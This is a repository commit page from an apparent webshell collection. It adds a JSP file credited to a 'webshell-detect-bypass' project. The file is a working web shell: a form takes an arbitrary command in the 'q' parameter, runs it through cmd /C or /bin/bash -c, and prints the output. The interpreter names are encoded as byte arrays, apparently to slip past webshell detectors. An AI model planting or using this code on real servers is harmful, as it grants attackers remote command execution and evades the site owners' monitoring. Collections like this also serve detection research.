PenTest/webshell
1
0
Fork 0
mirror of https://github.com/tennc/webshell.git synced 2025-12-15 20:29:06 +00:00
Code Issues Projects Releases Wiki Activity

Add files via upload

Browse Source 
from: https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/jsp
author: Build By LandGrey
This commit is contained in:
Levi Li
2018-12-20 11:33:20 +08:00
committed by GitHub
parent a0a4b15bdf
commit 1ee6e0dd74
3 changed files with 91 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

41
jsp/ProcessBuilder-cmd.jsp Normal file
View File

@@ -0,0 +1,41 @@
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>
<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}
if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>
<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>